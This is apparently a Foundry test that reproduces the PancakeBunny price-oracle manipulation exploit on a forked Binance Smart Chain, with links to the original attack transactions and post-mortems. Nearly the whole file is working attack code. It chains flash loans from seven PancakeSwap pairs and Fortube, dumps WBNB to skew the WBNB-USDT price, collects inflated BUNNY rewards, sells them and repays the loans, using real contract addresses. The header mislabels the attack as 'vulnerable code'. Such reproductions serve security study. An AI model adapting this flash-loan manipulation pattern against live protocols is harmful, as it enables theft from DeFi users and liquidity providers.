HIGH severity: PancakeBunny exploit (oracle-manipulation). SPDX-License-Identifier: UNLICENSED  Exploit: Tx 1 : https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a Attacker zaps 1 BNB into WBNB-USDT VaultFlipToFlip  harvest() tx: https://dashboard.tenderly.co/tx/bsc/0x9c48fd13d65f5f951882282444a45a7b84c4f673891bbdcc48af

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

/**
 * Exploit:
 * Tx 1 : https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a
 *     Attacker zaps 1 BNB into WBNB-USDT VaultFlipToFlip
 *
 * harvest() tx: https://dashboard.tenderly.co/tx/bsc/0x9c48fd13d65f5f951882282444a45a7b84c4f673891bbdcc48af68ed305950bb/debugger?trace=0.0
 *
 * Tx 2 : https://bscscan.com/tx/0x897c2de73dd55d7701e1b69ffb3a17b0f4801ced88b0c75fe1551c5fcce6a979
 *     Attacker's price oracle manipulation transaction
 *
 * Resources:
 * https://pancakebunny.medium.com/hello-bunny-fam-a7bf0c7a07ba
 * https://cmichel.io/bsc-pancake-bunny-exploit-post-mortem/
 * https://rekt.news/pancakebunny-rekt/
 * https://www.newsbtc.com/news/company/bsc-flash-loan-attack-pancakebunny/
 */
contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address USDT = 0x55d398326f99059fF775485246999027B3197955;
    address BUNNY = 0xC9849E6fdB743d08fAeE3E34dd2D1bc69EA11a51;

    IVaultFlipToFlip flip = IVaultFlipToFlip(0x633e538EcF0bee1a18c2EDFE10C4Da0d6E71e77B);

    IBunnyZap zap = IBunnyZap(0xdC2bBB0D33E0e7Dea9F5b98F46EDBaC823586a0C);

    IPancakeRouter router = IPancakeRouter(payable(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F));

    Uni_Pair_V2 WBNBUSDTv1 = Uni_Pair_V2(0x20bCC3b8a0091dDac2d0BC30F68E6CBb97de59Cd);
    Uni_Pair_V2 WBNBUSDTv2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
    Uni_Pair_V2 WBNBBUNNY = Uni_Pair_V2(0x7Bb89460599Dbf32ee3Aa50798BBcEae2A5F7f6a);

    Uni_Pair_V2 WBNBCAKE = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
    Uni_Pair_V2 WBNBBUSD = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);
    Uni_Pair_V2 WBNBETH = Uni_Pair_V2(0x74E4716E431f45807DCF19f284c7aA99F18a4fbc);
    Uni_Pair_V2 WBNBBTC = Uni_Pair_V2(0x61EB789d75A95CAa3fF50ed7E47b96c132fEc082);
    Uni_Pair_V2 WBNBSAFEMOON = Uni_Pair_V2(0x9adc6Fb78CEFA07E13E9294F150C1E8C1Dd566c0);
    Uni_Pair_V2 WBNBBELT = Uni_Pair_V2(0xF3Bc6FC080ffCC30d93dF48BFA2aA14b869554bb);
    Uni_Pair_V2 WBNBDOT = Uni_Pair_V2(0xDd5bAd8f8b360d76d12FdA230F8BAF42fe0022CF);
    Uni_Pair_V2[] pairs = [WBNBCAKE, WBNBBUSD, WBNBETH, WBNBBTC, WBNBSAFEMOON, WBNBBELT, WBNBDOT];

    IFortubeBank FortubeBank = IFortubeBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);

    address keeper = 0x793074D9799DC3c6039F8056F1Ba884a73462051;

    constructor() public {
        cheat.createSelectFork("bsc", 7_556_330);

        IERC20(WBNB).approve(address(zap), 1e18);
        IERC20(address(WBNBUSDTv2)).approve(address(flip), type(uint256).max);
        IERC20(address(USDT)).approve(address(router), type(uint256).max);
        IERC20(address(WBNB)).approve(address(router), type(uint256).max);
    }

    function testExploit() public {
        payable(WBNB).call{value: 1e18}("");

        emit log_named_decimal_uint(
            "Initial WBNB balance of attacker:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()
        );
        emit log_named_decimal_uint(
            "Initial USDT balance of attacker:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()
        );
        emit log_named_decimal_uint(
            "Initial BUNNY balance of attacker:", IERC20(BUNNY).balanceOf(address(this)), IERC20(BUNNY).decimals()
        );

        // Deposit a minimum amount of WBNB + USDT to VaultFlipToFlip, transfer LP tokens to WBNB + USDT Pancake pool.
        emit log_string("Zapping 1 WBNB into WBNB+USDT v2 pool...");

        zap.zapInToken(WBNB, 1e18, address(WBNBUSDTv2));
        uint256 lpamount = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));
        flip.deposit(lpamount);

        emit log_string("After X blocks, the keeper of VaultFlipToFlip calls harvest()");

        cheat.warp(1_655_908_339);
        cheat.roll(7_556_391);

        // Keeper needs to call flip.harvest() so that flip.earned(address(this)) > 0
        cheat.prank(keeper);
        (bool success,) = address(flip).call(abi.encodeWithSignature("harvest()"));
        require(success, "flip.harvest() fails");

        emit log_string("Exploit begins:");

        trigger();
    }

    function trigger() public {
        if (flip.earned(address(this)) > 0) {
            //Initiate flashloans
            emit log_string("Initiate flashloans...");

            (uint256 _amount0, uint256 _amount1,) = pairs[0].getReserves();
            if (WBNB == pairs[0].token1()) {
                pairs[0].swap(0, _amount1 - 1, address(this), abi.encode(0, 1));
            } else {
                pairs[0].swap(_amount0 - 1, 0, address(this), abi.encode(0, 0));
            }

            // execution passes to pancakeCall()

            // all flashloans have been repaid!
            emit log_string("All flashloans have been repaid!");

            //Collect profit
            emit log_named_decimal_uint(
                "Collected WBNB profit:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()
            );
            emit log_named_decimal_uint(
                "Collected USDT profit:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()
            );
        } else {
            revert("Nothing earned.");
        }
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        (uint256 level, uint256 asset) = abi.decode(data, (uint256, uint256));

        // Take 6 WBNB flashloans from PCS
        if (level + 1 < 7) {
            level++;
            (uint256 _amount0, uint256 _amount1,) = pairs[level].getReserves();
            if (WBNB == pairs[level].token1()) {
                pairs[level].swap(0, _amount1 - 1, address(this), abi.encode(level, 1));
            } else {
                pairs[level].swap(_amount0 - 1, 0, address(this), abi.encode(level, 0));
            }
        } else {
            //flashloan from fortube bank
            uint256 usdtFlashloanAmount = 2_961_750_450_987_026_369_366_661; // 2'961'750.450987026369366661 USDT

            FortubeBank.flashloan(address(this), USDT, usdtFlashloanAmount, hex"");
            // execution passes to executeOperation()
        }

        //repay each PCS flashloan
        uint256 retAmount = asset == 0 ? ((amount0 * 10_000) / 9975 + 1) : ((amount1 * 10_000) / 9975 + 1);
        require(IERC20(WBNB).balanceOf(address(this)) >= retAmount, "not making proift");
        IERC20(WBNB).transfer(msg.sender, retAmount);
    }

    function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) public {
        uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));

        emit log_named_decimal_uint(
            "After all PCS flashloans, attacker WBNB balance:",
            IERC20(WBNB).balanceOf(address(this)),
            IERC20(WBNB).decimals()
        );

        emit log_named_decimal_uint(
            "After Fortube Bank flashloan, USDT balance of attacker:", usdtBalance, IERC20(USDT).decimals()
        );

        // *Actual exploit*
        exploit();

        // Start repaying flashloans
        emit log_string("Repaying flashloans...");

        // Repay fortube flashloan
        uint256 usdtOwed = amount + fee;
        IERC20(USDT).transfer(FortubeBank.controller(), usdtOwed);
    }

    function exploit() public {
        uint256 wbnbAmount = IERC20(WBNB).balanceOf(address(this)) - 15_000e18;

        // Manipulate BunnyMinter._zapAssetsToBunnyBNB - deposit liquidity
        IERC20(WBNB).approve(address(zap), type(uint256).max);
        zap.zapInToken(WBNB, 15_000e18, address(WBNBUSDTv2));
        uint256 attackerLPBalance = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));
        IERC20(address(WBNBUSDTv2)).transfer(address(WBNBUSDTv2), attackerLPBalance);

        emit log_string("Dumping all WBNB for USDT on WBNB+USDT v1 pool..");

        // Manipulate WBNB - USDT pair
        (uint256 reserve0, uint256 reserve1,) = WBNBUSDTv1.getReserves();
        uint256 amountIn = wbnbAmount;
        uint256 amountOut = router.getAmountOut(amountIn, reserve1, reserve0);
        IERC20(WBNB).transfer(address(WBNBUSDTv1), amountIn);
        WBNBUSDTv1.swap(amountOut, 0, address(this), hex"");

        emit log_named_decimal_uint(
            "After dumping all WBNB, WBNB balance of attacker:",
            IERC20(WBNB).balanceOf(address(this)),
            IERC20(WBNB).decimals()
        );
        emit log_named_decimal_uint(
            "After dumping all WBNB, USDT balance of attacker:",
            IERC20(USDT).balanceOf(address(this)),
            IERC20(USDT).decimals()
        );

        //Collect inflated rewards
        flip.getReward();

        emit log_named_decimal_uint(
            "After collecting rewards, BUNNY balance of attacker:",
            IERC20(BUNNY).balanceOf(address(this)),
            IERC20(BUNNY).decimals()
        );

        //Dump BUNNY
        emit log_string("Dumping all BUNNY for WBNB on WBNB+BUNNY pool...");
        {
            uint256 bunnyBalance = IERC20(BUNNY).balanceOf(address(this)) - 1;
            (uint256 reserve0, uint256 reserve1,) = WBNBBUNNY.getReserves();
            uint256 amountIn = bunnyBalance;
            uint256 amountOut = router.getAmountOut(bunnyBalance, reserve1, reserve0);

            IERC20(BUNNY).transfer(address(WBNBBUNNY), amountIn);
            WBNBBUNNY.swap(amountOut, 0, address(this), hex"");

            emit log_named_decimal_uint(
                "After dumping all BUNNY, WBNB balance of attacker:",
                IERC20(WBNB).balanceOf(address(this)),
                IERC20(WBNB).decimals()
            );
        }
    }
}


Vulnerability type: oracle-manipulation